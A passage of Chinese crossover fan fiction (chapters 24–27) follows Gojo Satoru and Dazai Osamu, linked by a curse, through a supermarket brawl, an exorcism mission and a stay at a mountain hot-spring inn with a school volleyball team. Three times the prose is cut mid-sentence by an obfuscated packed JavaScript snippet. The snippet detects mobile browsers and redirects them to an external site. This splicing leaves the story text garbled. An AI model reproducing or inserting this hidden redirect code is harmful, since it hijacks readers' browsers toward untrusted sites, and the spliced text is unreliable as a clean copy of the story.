这感觉太奇怪了,不仅仅是自己身体被按摩的感觉,还有对方身体被按摩时,通过链接传递过来的,几乎一模一样的感受。 双倍力道,双倍酸胀,双倍……难以言喻的放松与刺激交织的触感。 就像有两套按摩系统,同时在体内体外运作,感官被彻底淹没,几欲过载。 “混账……你快给我起来……” 五条悟的声音有点咬牙切齿,他想用手推开太宰,但空间太窄,动作别扭,反而像把人更往自己怀里带了带。 “五条先生……先来后到……” 太宰治的声音也失去了往日的平稳,带着喘息。他想往前挪,却被按摩椅的靠背和五条悟的身体禁锢着。 他们成了两个赌气的小学生,在狭小空间里互相较劲,谁都不肯先认输,或者退让。 两人身体紧密相贴,整个氛围十分诡异,五分尴尬,还有五分被链接放大到令人头皮发麻的亲密感。 五条悟能清晰感觉到,太宰治略微加快的心跳透过背脊传来,而太宰治也能感受到,五条悟胸膛下,同样不那么平稳的搏动。 两人的呼吸都渐渐急促起来,体温在狭小空间里攀升,脸颊脖颈处,也泛起可疑红晕。 这已经超出了不舒服的范围,更像一种感官酷刑,或者……某种危险边缘的试探。 “够了!” 两人再也无法忍受叠加到过载的感官冲击。一种莫名恐慌,和对失控的预感,给了他们警示。 五条悟撑起扶手,太宰治同步向另一侧发力…… 两人终于从那张刑具椅上挣脱出来,且由于力道过猛,还差点一起摔在地上。 他们迅速拉开距离,各自扶着旁边的货架喘息,脸上都带着用力后的潮红,眼神飘忽,不敢直视对方。 一阵沉默,只有超市的背景音乐在回荡。 五条悟烦躁地甩了甩他那头凌乱白发,为了掩示方才的失态,开始惯性嚣张:“咳……这破椅子设计绝对有问题,太窄了吧。” 太宰治则低头整理着有些皱的风衣,声音恢复了平时的轻飘,但仔细听,还是有点不稳:“同意……看来安全性有问题,退货么?” “退什么退,老子买的东西,凭什么退!”五条悟立刻反驳,仿佛退货是对他眼光的侮辱。 他深吸一口气,重新摆出“老子天下第一”的姿态,走到导购员面前,指着那台按摩椅:“这个,给我加急,我要今天之内送到!” 太宰治抬眼看他,嘴角勾起,他走近两步,饶有兴味道:“五条先生,您刚才脸红的样子,可比现在这副傲娇模样,有趣多了。” “谁脸红了?我是被热的!这超市空调开得太过!”五条悟瞬间炸毛,耳根却诚实的又红了几分。 “呵。” “笑什么笑!” 两人继续逛着,时不时互怼几句,没注意到,他们已经走在了一起。 这时,几个不和谐的音符插了进来。 “喂,你们两个,叽叽歪歪吵死了,挡道了知道吗?” 一个穿着紧身背心,露着花臂纹身的混混头目喝道,他头发剃得像鸡毛掸子,还染成了绿色,一看就不是好鸟,且品味欠佳。 他带着几个同样流里流气的小弟,堵住了狭窄的通道,打量着他们,眼神不善。 五条悟和太宰治同时停下动作,转过头。 五条悟嘴角勾起一个毫无温度的笑容:“哦,路这么宽,是你们太胖,还是脑子坏了,方向感失灵?” 太宰治则瞬间切换模式,露出一个无比纯良、甚至带着点怯生生的表情,活像受了惊吓的小动物:“非、非常抱歉,我们这就让开……” 他推着车,似在慌乱择路,然后“不小心”撞了一下混混头目的肩膀。 头目被撞的一个趔趄,顿时火冒三丈,感觉在小弟面前丢了面子,喊道:“找死啊!” 他突然从后腰,抽出一把蝴蝶刀,在手中耍了个刀花。灯光下,明晃晃的刀刃闪烁寒光:“不给点教训,是不行了吧。” 场面即刻升级。 五条悟和太宰治对视了一眼。 没有任何语言交流,但就在一刹那,基于对眼前蠢货的共同鄙视,以及想找点乐子的恶趣味共识,竟然毫无障碍的达成了。 “妈的,好烦,但好像可以玩一下?”——两人的脑电波在诅咒链接里,发出了同步杂音。 “啊!” 太宰治忽然发出一声痛呼,夸张至极,堪比舞台剧演员。 他像被大力击中,整个人柔弱无助地向后倒去,用自己的肩膀,撞向举着的刀尖——当然,在接触前,他一个侧身卸力,刀尖只划破了他一点点外套布料,都没切断几根线头。 “杀、杀人了……好痛……我要死了……” 他捂着所谓伤口,脸色苍白,眼神绝望,看着目瞪口呆的观众。 同一时分,五条悟突然捂住自己腹部,声音颤抖,俊脸扭曲:“混账……你们竟敢……暗算老子……啊……” 他踉跄着向后,慌乱中,“不小心”一脚踹翻了旁边的货架,那里是整整一排豆类罐头,堆得又高又满。 轰隆隆—— 罐头如山崩,倾泻而下,噼里啪啦砸向地面,和那几个呆若木鸡的混混。 “噢……”太宰治发出一声凄厉惨叫,好似每个罐头都砸在了他身上,实则巧妙避开了所有撞击。 他抱着脑袋:“别、别砸了……要死了……脑震荡了……内脏破裂了……” 五条悟则继续他的奥斯卡级表演——因所谓痛苦挣扎,“不小心”勾住了旁边摞着的,城墙一样的卫生纸堆。 顷刻间,白色纸卷滚落,淹没了混混们的脚踝,甚至埋到了小腿肚。 混混头目举着刀,彻底懵了。 他明明什么都没碰到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465361|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可这两人一个比一个嚎的惨,一个比一个倒的夸张,场面混乱,像在拍摄低成本恶搞电影。 “老大……他们,他们是不是有精神病?” 一个小弟颤声问道,试图从卫生纸海洋里拔出脚,却踩到一个圆滚滚的罐头,摔了个四脚朝天。 “碰瓷的?操!”头目终于反应过来,气得脸都绿了,脖子上青筋暴起,“给我往死里揍他们!” 然而已经晚了。 五条悟靠在倾倒的货架上,状似虚弱,眼睛却闪着狡黠的光,他伸出两根手指,对着冲过来的混混们轻轻一弹。 “苍。”光束打在了他们的膝盖和手肘关节上。 混混们顿时纷纷抱着痛处,倒地哀嚎,集体突发关节炎似的,场面一度十分滑稽。 太宰治则爬了起来,拿出手机,对着满地狼藉,哀嚎的混混们以及那个傻站在纸堆里的头目咳嚓拍照,语气由柔弱,转为冷静且专业的……勒索: “故意伤害未遂,持械威胁,寻衅滋事,破坏公共财物……证据确凿。私了还是报警?建议私了,精神损失费,医疗费,误工费,商品费,清洁费……算你们便宜点,这个数。” 他报出一个数字,足以让这几个混混未来半年只能啃方便面。 头目脸色煞白,嘴唇哆嗦:“你,你们……” 五条悟也站直身体,居高临下地看着他们,活动了一下手腕,骨骼发出咯咯轻响:“嗯?有意见?还是想体验一下,重伤卧床半年的真实感觉?” 威胁不言而喻。 最终,绝对武力和无耻敲诈双管齐下,混混们哭爹喊娘地凑齐了赔偿金,他们连滚带爬,互相搀扶,逃离了这个是非之地。 战斗结束。 不远处,中岛敦满头大汗地跑过来,他本是奉命来帮忙采购的,结果目睹了全程:“五条先生,太宰先生,你们没……呃……” 他看着崩塌的豆子罐头、卫生纸山,以及两人完好无损甚至有点神采奕奕的样子,把字硬生生咽了回去,改为:“……这里发生了什么?” “敦君,来得正好,”太宰治笑眯眯地把那沓钞票塞进自己的风衣内袋,“帮忙收拾一下哦,这是见义勇为,正当防卫的现场。” 五条悟则嫌弃地看了一眼太宰治:“你演技太浮夸了,能让我脚趾抠出一幢别墅,太假,还好观众智商不高。” 太宰治回敬道:“彼此彼此,五条先生您那声呻吟,像三流歌剧里被毒苹果噎死的公主,过于做作。还有您倒地时,那个华丽旋转,是打算顺便表演一段芭蕾吗?” 刚才那场同步碰瓷近乎完美,默契感简直让人不适,他们互相嘲讽,语气尖锐,就是为了用语言将其切割粉碎。 该死的,为什么跟这家伙配合会这么顺手——这个念头在两人脑中闪过,带来一阵不爽。 而超市另一头的货架后,江户川柯南默默收回了探出的头。他追踪一个嫌疑人到此,却意外目睹了这场闹剧。 他的目光,没有停留在两位眼熟的麻烦制造者身上,也没有看满地狼藉,而是盯住了其中一个逃走的混混——在他腰侧,一个造型奇特的青黑色纹身,一闪而过。 那个图案的局部结构……他绝对不会记错。和他之前在阿笠博士那里看到的,某张古籍残页照片上,双生蛇图腾的一部分,高度相似。 25.第25章 次日,安全屋里,难得没有硝烟味。 也许因为前一晚,各自都睡得还ok;也许那台按摩椅的存在起了缓冲;或者也许,仅仅是连续多日的互相折磨后,身体和精神都本能地寻求片刻休战。 但对这两位而言,和平总是短暂的。 当两人收到了任务通知时,那点微妙的平衡,便在顷刻之间被打破。 “第一次协同任务?” 五条悟看着手机屏幕,嗤笑一声:“上面那些老橘子是嫌我们不够热闹,还想看现场直播的灾难片吗?” 太宰治放下咖啡杯,语气慵懒:“大概想测试一下,在外部威胁下,我们会互相拖累,还是能爆发出一点……嗯,微不足道的联合效应。” 他拿起手机,瞥了一眼任务详情:“二级咒灵在商业街捣乱……这怎么看,都是给新手练级的副本啊。” 五条悟不可置信道:“二级?呵,让老子去对付二级?这是侮辱。老子一个指头,就能碾死一打。” 太宰治:“那就请五条老师用一根指头完成任务吧,我会在一旁为您鼓掌加油的。” 五条悟:“哈,做梦,既然是协同任务,你这青花鱼也别想偷懒。” 商业街上,正混乱不堪。一只巨大的二级咒灵,丑陋臃肿形似水母,正用它的触手疯狂拍打着沿街店铺的橱窗。 店主和行人已经纷纷逃离,或者躲进了偏僻角落,这里到处是狼藉。 五条悟悬浮在半空,嫌弃地打量着咒灵:“啧,丑死了……攻击哪家不好,非挑这家玩具店?它家的限量版咒骸娃娃,可是很脆弱的!” 太宰治站在不远处一个消防栓上:“也许它内心住着一个渴望童真却不得的灵魂,只能通过毁灭来宣泄。真是……可悲又可叹啊。” “闭嘴吧哲学家,再共鸣下去,整条街都要被它消化成残渣了!”五条悟打了个响指,“我把它轰成渣,你负责……在旁边念你的悼词?” 太宰治叹了口气,开始教导不开窍的学生:“错误的战术……您的蛮力只会让它的□□溅得到处都是,后续清理费用,会让伊地知先生哭晕在厕所。而且,福泽阁下和夜蛾校长都强调了,要控制影响。” 五条悟挑眉:“哦?那你有什么高见,自杀大师?” 太宰治微微一笑,笑容里有漫不经心的残忍:“让它无效化就好了,直接抹消,干净环保,爱护环境人人有责。” 咒灵似乎感受到了威胁,朝太宰治喷射出一股液体。 五条悟“啧”了一声,动都没动,无下限术式变成阻隔,让液体在离太宰治几米外,像撞上墙壁般滑落。 “谢了,”太宰语气毫无诚意,“不过下次可以等它再近点,那样比较有戏剧效果。” 五条悟挑眉:“你的谢谢听起来像诅咒。” 对话间,太宰治动了。 他像一片落叶,随风而动,跟着无下限的节奏,避开咒灵又一次笨拙袭击,然后轻盈飘下,落在咒灵不断变换形态的躯体上。 他甚至有空调整了一下绷带的位置。 “找准核心……啊,在这里。”他低语道。 太宰治的指尖闪烁起微弱光芒,轻轻点在躯体某处——一个鼓胀的器官,状如心脏。 随后,那只令人作呕的二级咒灵,从被触碰点开始,迅速变得透明而稀薄,最终彻底消失在空中,一滴都没有了。 仿佛它从未存在过。 “收工。”太宰治轻巧落地。 五条悟也落了下来,不爽道:“毫无观赏性,至少让我补个刀过过瘾啊?老子连‘赫’都没用!” 太宰敷衍道:“下次给您带个烟花,您自己一边玩去。” 全程配合……意外的流畅。 甚至没有一句正式的战术交流,一个无效化核心,一个负责防御和压阵,像一套演练过无数次的组合拳。 虽然打出这套拳的两个人,互相都觉得对方的手碍眼。 那种通过链接,隐约传递的战斗直觉,让他们无需分析思考,就理解了对方的意图和行动。 就在这时,一位老太太颤巍巍地从那家玩具店里冲了出来,她头发花白,戴着老花镜,应该是这家店的店主。 她显然目睹了全程,因此老泪纵横,一把抓住离她最近的太宰治的手: “谢谢,太谢谢你们了,救了我和我的店!你们真是……真是天造地设的一对好人!” 老太太显然误会了什么,看着两个外貌出众、配合默契的年轻人,自动脑补了一百万字浪漫传奇。 她不顾两人的僵硬,硬是掏出一叠粉红色优惠券和一盒巨大无比的心形巧克力,塞进他们手里。 “这是情侣专属甜蜜折扣券,全场七折,送给你们!”她又指着那盒巧克力,“这个也拿去,代表我的心意,祝你们永浴爱河!” 两人看着那叠券和巧克力,上上下下,都印满了硕大的爱心,还有“Couple Coupon”字样,就像在看即将引爆的炸弹。 “不是,老太太,我们……”五条意图解释。 “您误会了,我们不是……”太宰意图抽手。 但老太太力气大得惊人,祝福溢于言表:“哎呀,别害羞!我都懂,拿着拿着!” 老太太一把年纪了,但坚持而固执,最终,他们在她的攻势下,被迫接过了这份令人窒息的谢礼。 一阵尴尬的沉默,有点让人难以忍受。相比之下,刚才的战斗气氛,反而正常多了。 不过没关系,五条悟灵光一现,悟出一个道理——只要他不尴尬,尴尬的就是别人。别人是太宰治,那就更好了。 于是他拿起那盒巧克力,拆开华丽包装,捻起一颗裹着厚厚糖霜,还是爱心形状的球,脸上绽放出充满挑衅的恶劣笑容: “来,亲爱的……啊——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479134|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的语气甜得发腻,和这盒巧克力一样,眼神却写着:“你敢不吃试试”。 太宰治嘴角抽搐了一下,随即了然,也露出一个虚假至极的微笑。 他拿起另一颗芭比粉颜色的巧克力,做作道:“您先请,宝贝Darling——” 表情温柔,柔情蜜意能滴出来,动作却带着一股同归于尽的决绝。 是啊,有卧龙的地方就有凤雏。 然后,两人同时把巧克力塞进对方嘴里,动作粗暴。 下一刻…… “呕——” “咳……呸呸呸!” 五条悟五官皱成一坨,感觉生吞了一整瓶工业香精似的:“这什么玩意儿?是给人类吃的吗?” 太宰治则被那种劣质可可脂和过甜酒心的混合味道恶心得够呛:“……毒药……这绝对比我调的咖啡杀伤力大……” 两人同步弯腰,捂着脖子干呕,表情如复制粘贴。 刚才那点虚假甜蜜,已经荡然无存。 就在这无比狼狈,充斥着齁甜与反胃感的时刻,一个声音在一旁响起: “在公共场合进行这种毫无营养且伤风败俗的互动,严重影响了咒术师与异能者合作项目的公众形象。” 七海建人手里提着公文包,看样子刚下班路过,恰好目睹了这“不堪入目”的全过程。 他继续说道:“建议二位下次执行任务时注意场合,或者,至少注意一下口味选择。” 五条悟直起身,意欲挽回形象:“娜娜明,不是你想的那样!” 太宰治有气无力地摆手:“是谋杀未遂……” 七海冷漠地看了他们一眼,又看了看巧克力包装纸和那叠刺眼的粉红优惠券:“辩解苍白无力。我会在补充报告里如实记录二位的……额外表现。” 说完,他微微颔首,转身离开,背影完美而冷漠。 五条和太宰面面相觑,同时感到一种挫败,比吃了劣质巧克力还憋屈。 他们联手祓除咒灵的短暂默契,在这位后辈“伤风败俗”评价下,显得如此可笑和……幼稚。 五条悟迁怒道:“都怪你,非要接那破巧克力!” 太宰治:“明明是五条先生先开始的幼稚挑衅!” 五条悟:“哈?是你先露出那种恶心的表情!” 太宰治:“您的演技更是浮夸到令人发指!” 他们一边互相甩锅,一边收拾残局,准备离开。 那点因战斗配合而产生的微妙感觉,早已被尴尬、愤怒和甜到发苦的恶心感冲刷得一干二净。 而在他们走远后,一个戴着鸭舌帽的男人,走出了隐蔽巷子。 他弯下腰,把被扔掉的巧克力捡了起来,仔细看了看。 然后对着手机低声道:“目标接触确认,催化剂已投放,但摄入量较小,准备进行下一阶段观察。” 2 26.第26章 从任务角度,算是圆满完成,行动报告由伊地知洁高提交了上去。不过,加了一份附件——热心市民七海建人的补充记录,忠于事实,措辞严谨。字里行间,充满了对两位当事人精神状态的担忧。 还没等五条悟和太宰治因为“伤风败俗”的评价,而遭到来自各自组织的关怀,或者说盘问,家入硝子的电话,就先一步切了进来。 “任务完成了?你们现在立刻回安全屋一趟。” 命令式语气,甚至没给两人抱怨或提问的机会。 “关于你们身上那个麻烦的链接,我在古籍里找到点记载,可能跟某个地方的温泉有关……过来,当面说。” 于是,商业街的闹剧与七海建人的评价,暂时被他们抛在了脑后。 两人回到那间安全屋,硝子已经等在了那里。 她面前,摊着几份影印的卷宗,其中一页是一幅手绘的地图。 硝子指了指地图上,一个被圈出的地点:“长话短说,这里有一处古老的温泉,记载中其水质特殊,蕴含的微量能量,对稳定那些基于能量共鸣的诅咒,有奇特效果。考虑到你们俩现在的情况,建议去泡一泡,说不定能找到点线索。” 五条悟盯着那个偏僻的地名,嫌弃道:“这个温泉地点从来没听说过,肯定是一个鸟不拉屎……或者鸟乱拉屎的地方吧?而且那种深山老林,能有像样的宾馆吗?” 太宰治则对泡温泉这个活动本身表达了消极态度:“温泉,听起来像是老年人才会热衷的养生项目呢。而且泡久了会头晕呢,万一晕倒淹死,岂不是很难看?” 硝子扔给他们一个眼神,表意明显——爱去不去。 她面无表情地说道:“选项一,去试试运气,看能不能找到线索,至少别再因为一方打喷嚏,就让另一方用不了术式。选项二,继续留在这里,等着下次一方跳楼另一方同步体验蹦极,或者一方吃坏肚子另一方陪跑厕所,顺便再多收获几次类似‘伤风败俗’的公众评价……你们选。” 两声叹息同时响起。 “行吧,就当是带薪休假了,希望那里的温泉蛋不要太难吃。” 五条悟一脸无语。 “附议,至少……风景应该比商业街的垃圾桶好一点。”太宰治语气无奈,像要奔赴另一个刑场。 没有更多的犹豫或争执,甚至没有详细规划,两人带着一种“赶紧结束这破事”的默契,简单的收拾了点随身物品,便即刻启程,朝着硝子提供的深山温泉方向驶去。 …… 岐阜县的深山老林,空气非常清新,像被洗过一遍,但也偏僻到……让五条悟的GPS骂了半小时脏话。 而太宰治一路上,都在尝试用绷带把自己勒晕,以逃避更难受的晕车。 导航的终点,是一条隐没在葱郁山林间的碎石小路,十分狭窄,仅容一车通过。 路的尽头,那家传说中的温泉旅馆,孤零零矗立在半山腰,木制招牌被岁月侵蚀了个遍,快要认不出字迹,看起来,随时可能倒闭或者闹鬼。 一脚刹车,五条悟停在了旅馆门口。 他踩上坑洼不平的土路,环顾四周。 “这就是硝子说的,‘可能有线索’的地方?怎么感觉是哪个恐怖电影的场景,《山村老尸》之类的……另外这地方真能有温泉?不会是烧的热水兑硫磺吧?”五条悟的语气里全是怀疑。 太宰治从副驾驶飘下来,扶着车门,脸色苍白:“有……区别吗?反正都是先煮熟,然后捞尸体……” 两人走进旅馆,一位老太太坐在那里,她身穿传统和服,满脸皱纹,此时正慢条斯理地擦拭一个瓷杯。 “欢迎光临,两位是来泡温泉的吧?”老太太抬起头,笑着问道。 “嗯,两间房。”五条悟言简意赅。 老太太:“哎呀呀,真是不巧……最近是旅游旺季,房间都订出去了……” 五条悟不可置信道:“旅游旺季?哈,这种地方?婆婆,你看我们像傻子吗?” 太宰治有气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483609|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无力的补充:“而且方圆十里,除了树,就是石头……游客在哪里?” 老太太解释道:“本来是有空房的……但是今天要来一个学生团,是宫城的乌野高中排球部,说春游合宿……已经把这里的几间房都订满了,现在真的没有其他房间了。” 五条悟额角爆出青筋:“排球部春游?他们跑这种地方来春游?团建打蚊子吗?” 太宰治无奈感慨:“青春啊……真是活力过剩到令人窒息……” 忽然,老太太手指一顿,脸上露出一个意味深长的笑容。 “啊,想起来了,还有一间大床房!” 太宰治谨慎问道:“大床房?大床有多大?”也不是没睡过一张床,如果实在没房,OK的话也就凑合了,大不了中间再隔一个楚河汉界。 老太太看看两位身高鹤立鸡群的男人:“呃……情侣大床,待会看了就知道了。” 太宰治&五条悟:“……” 老太太微笑道:“这是我们这里的‘缘侧之屋’,刚好适合两位。” 听到这个名字,一种不祥的预感,同时涌上五条悟和太宰治心头。 老太太站起身,示意他们跟上。 她迈着小碎步,领着他们穿过弯弯曲曲的走廊,停在最里面的一扇拉门前。然后哗啦一声,拉开房门…… 房间内部的景象,让所谓见多识广的两位同时石化。 整个房间的色调,以玫红为主,灯光被调得昏暗朦胧,刻意营造出一种……难以形容的旖旎氛围。 首先映入眼帘的,是一张占据了房间中心位置,铺着红色床单的情侣双人床。 目测宽度,不会超过1米2. 床头墙壁上,挂着一幅用浮世绘风格描绘,内容极其暧昧的巨大……春宫图。旁边的架子上,明目张胆地放着各种口味、包装花哨的套子和润滑剂。 房间角落,还架着一个心形双人按摩浴缸,十分贴心。 万事俱备,只欠一对情侣。 27.第27章 五条悟盯着那张床和那些用品,感觉无语至极。而太宰治被那幅春宫图震撼到,暂时忘记了晕车。 五条悟:“这些布置太多余了。” 太宰治:“婆婆……您是不是……对‘适合两位’有什么误解?” 老太太脸上慈祥满溢,大概觉得年轻人太容易害羞,看他们的眼神完全是了然和安抚。 她笑着说道:“哎呀,怎么会误解呢?这缘侧之屋,可是专门为像你们这样,恩爱的小情侣们准备的。你们看,这里氛围多好,该有的都有,住一晚,保证能增进感情呢。” 她还特意指了指那堆情趣用品:“这些都是免费的,随便用,不用客气!” 很好,一句话点炸了两人。 五条悟横眉:“谁跟他是情侣?” 太宰治反对:“我们不是那种关系!” 两人异口同声,但在狭小且充满暧昧暗示的空间里,他们的反驳显得格外苍白无力。 老婆婆依旧笑眯眯的,用点头表示:“我懂的,年轻人就是脸皮薄”。 “不行,我们要换一间!”五条悟斩钉截铁地说。 “请问,附近还有别的旅馆吗?”太宰治抱着一丝希望问道。 老太太摇头:“没了,就这一间。附近五十公里内,就我们这一家温泉旅馆。你们要是不住,那就只能睡露宿山头咯。这山里晚上,可是有熊出没的哦。” 五条悟不信邪,掏出手机,发现信号特别微弱。 他强行用咒力增强信号,搜索附近住宿——果然一片空白。 两人对视一眼,都在对方眼中,看到了同样的挣扎和无奈。 多的房间是没有的,分房是不可能的。 在“睡不合适的情侣房”和“睡可能有熊出没的荒山野岭”之间,他们只能被迫做出选择。 两害相权取其轻…… “……行吧。”五条悟从牙缝里挤出两个字,感觉这辈子都没这么憋屈过。 “……就当是……体验生活了。”太宰治扶额,试图麻痹自己。 老婆婆脸上的笑容瞬间绽开,像朵盛放的菊花:“这就对嘛,年轻人,要懂得珍惜缘分!祝二位……今夜愉快!” 她说完,迈着轻快的小碎步离开了,留下两人在飘荡着甜腻香气的“缘侧之屋”里,面面相觑。 五条悟烦躁道:“这床是给侏儒睡吗?” 太宰治想到要和这位挤一张床就头疼:“是啊,你怎么不长得侏儒一点。” 这时,外面一阵喧闹声,两人走出房间查看动静,就看到一群少年旋风般冲进了旅馆大堂。 他们穿着运动服,带着山野的蓬勃朝气,正不停吵吵嚷嚷。 “哦哦哦,到了到了。” “影山,别挡路。” “日向你个笨蛋,行李拿稳点!” “大地学长,菅原学长,晚上我们打夜场吧!” 一个看起来像是队长的沉稳少年,注意到了这边脸色发黑的两位成年人,连忙走过来鞠躬道歉:“非常抱歉,是我们的到来给你们添麻烦了吗?” 五条悟抱着手臂:“岂止是麻烦,你们抢了我们最后的房间,等于间接谋害,懂吗?” 日向翔阳蹦过来,眼睛亮得像小太阳:“诶?大哥哥你们没地方住吗?好可怜!要不和我们一起睡通铺?我们那边很热闹的!” 影山飞雄一脸嫌弃:“呆子,别随便邀请陌生人。” 泽村大地无奈扶额。 太宰治看着这群活力四射的少年,忽然笑了笑:“通铺啊……听起来像是会发生集体谋杀案的好地方呢。” 少年们:“??” 但乌野的少年都是热情的少年,见面都是客,他们看两个成年人百无聊赖的样子,便邀请两人一起参加晚上的野炊和之后的排球赛。 这荒山野岭的,聊胜于无吧,五条悟和太宰治接受了他们的邀请,至少能多一些调剂。 野炊在山间空地举行,火焰噼啪作响,烤肉香气弥漫。 虽然五条悟对着一串烤焦的棉花糖皱眉:“这玩意比咒灵还难杀。” 太宰治意欲教日向用绳子打出完美的上吊结……但总体气氛,意外地还算融洽。 重头戏是排球练习赛。 少年们在空地上拉起了简易的网。 “来打一场吧,大哥哥们!”日向兴奋地发出邀请,跃跃欲试。 五条悟挑眉:“哦?小鬼,想挑战最强?” 太宰治摊手:“运动啊……会出汗呢,而且容易摔跤,死相很难看的哦。” 不过盛情难却,他们还是上场了。 一开始,他们打得稀烂。 五条悟力量乱飙,一记发球,直接把球打出场外,消失在了丛林里。 而太宰治完全在梦游,接球姿势优美得像在跳舞,但球永远落在他三米之外。 乌野的少年们憋笑憋得很辛苦。 但渐渐地,事情起了变化。 当影山一记快攻,砸向两人之间的空档时,五条悟甚至没看太宰治,只是下意识地左挪半步,而太宰治在同一时刻向右后方撤了一步,完美让出攻击路线,似乎早就预判。 下一次,日向使出超高速快攻,球路刁钻。五条悟只是抬了抬下巴,太宰治的手指就已经出现在了球路下方,轻轻一垫,送到了五条最适合扣杀的位置。 然后,“砰……” 一记重扣得分! 没有语言交流,手势暗示。链接那该死的同步率,在球场上,竟然演化成了某种恐怖的心有灵犀。 他们像共享一个大脑的双头怪物,防守覆盖全场,进攻诡谲难测。一个眼神,一个微小的肌肉紧绷,甚至一次呼吸频率的变化,都足以让另一方瞬间理解意图。 他们开始得分,越来越流畅,越来越强势。 五条悟的扣杀势不可挡,太宰治的吊球诡异莫测。他们甚至无师自通地打出了几次让影山都瞳孔地震的精妙配合。 日向眼睛圆瞪:“哇啊啊——好厉害!他们两个什么时候这么默契了?” 影山抱着球,一脸严肃地点头:“嗯……怪物级的配合。” 泽村和菅原对视一眼,也看到了彼此的惊讶。 连五条悟和太宰治自己都感到一丝意外。这种被迫的该死默契,用在打排球这种小事上,竟然还挺……畅快。 比赛结束,双方大汗淋漓。 少年们围着他们,七嘴八舌地表达着敬佩。 热烈气氛中,不知谁喊了一句:“去泡温泉吧。” 于是,一群半大小子吵吵嚷嚷地涌向了旅馆后山的露天混浴温泉。 那里热气氤氲,泉水咕嘟冒泡,月光洒下,环境确实带着点灵脉应有的静谧……如果忽略这群聒噪的青少年的话。 少年们脱掉衣物,扑通扑通跳进水里,打闹嬉笑,互相泼水,肢体接触坦荡又自然。 五条悟和太宰治磨蹭在最后,脱衣服的过程像在进行慢动作默剧。 他们尽可能背对着对方,好像那身衣服,是最后一道防线似的。 最终,两人还是下了水,分别靠在温泉池两端,中间隔着一群闹腾的少年,划定了楚河汉界。 温泉池水汽蒸腾,硫磺气息弥漫,水声与谈笑声在夜色中回荡。 五条悟和太宰治占据了一角,各自闭目养神。 水温的确暂时舒缓了那如影随形的链接带来的微妙共鸣,紧绷的神经获得了一丝喘息之机。 少年们都很兴奋,叽叽喳喳,说个不停。 “哇,这个温泉超棒,肌肉的酸痛感觉都被泡走了!”一个元气十足的声音大喊道。 “笨蛋,小声一点!”某人不耐烦的呵斥道。 “喂,别在水里扑腾那么大动静。”某人在温和劝慰。 “哈,前辈,要不要来点饮料和小食?泡温泉绝!”还有人不停张罗。 吵闹,但充满了生机勃勃的日常感,与五条悟太宰治这两位死寂般的沉默,形成了鲜明对比。 或许是受他们气氛的影响,或者因为泡得口干,五条悟忽然抬手,打了个响指。 一位穿着浴衣、姿态恭谨的女侍应生立刻出现在池边,好像早就等候多时。 “客人,有什么需要?” 五条悟隔着雾气,懒洋洋地开口,声音带着一种理所当然的嚣张:“你们这儿,最贵的特调饮料是什么?给我来两杯。”完全是一副不差钱、只求最贵最好的冤大头做派。 女侍应生微微躬身,笑容甜美:“好的,客人。我们这里确实有一款‘月下美人’,选用当地稀有山果和秘制配方调制,口感独特,安神助眠效果极佳,是本店的招牌特调。” “行,就它了。”五条悟手臂一挥,定了下来。他也没问太宰治要不要,反正在他看来,这些小事,听最强的没错。 太宰治在另一边微微睁开眼,在雾气中,眼眸显得有些朦胧。 他瞥了五条一眼,没说话,默认了这种安排。 他也确实觉得有些口渴,而且,安神助眠,听起来正适合应对这恼人的链接呢。 乌野队员们也点了单,果汁、牛奶和薯条、炸鸡块之类,他们七嘴八舌,杂七杂八的点了很多。 没过多久,饮料和小食就被送来了。 五条悟接过那两杯所谓的“月下美人”。饮料颜色十分梦幻,淡紫和深紫,层次分明。杯沿还装饰着细小花瓣和一枚银箔,看起来,确实价格不菲。 他递给太宰治一杯,动作随意。 太宰治接过,低头嗅了嗅,一股清甜馥郁的果香混合着草木气息涌入鼻腔。他没多想,轻轻啜饮了一口。口感顺滑,甜度适中,的确不错,温热的身体被冰凉的液体一激,带来短暂的清醒。 五条悟则是一口气灌下去大半杯,咂了咂嘴:“味道还行,就是不够甜。” 少年们的喧闹声也很具体。 “哇,冰镇牛奶简直是天堂!”有的充满活力。 “啊啊啊——我活过来了!”有的非常豪迈。 “炸鸡块,炸鸡块在哪里?速度交代!” “……啰嗦,你别把我的薯条都吃光了!” 有的在瞎嚷嚷。 “大家还要什么,可以再点。” “泡温泉别吃太急,别呛到了,也注意别把食物掉进池子里。” 还有的在温和嘱咐。 伴随着水波轻响,鲜活而愉快的青春日常,与五条悟和太宰治这边,各怀鬼胎的静谧,变成了微妙对比,共同浸泡在温暖的泉水与朦胧夜色中。 饮料下肚不久, 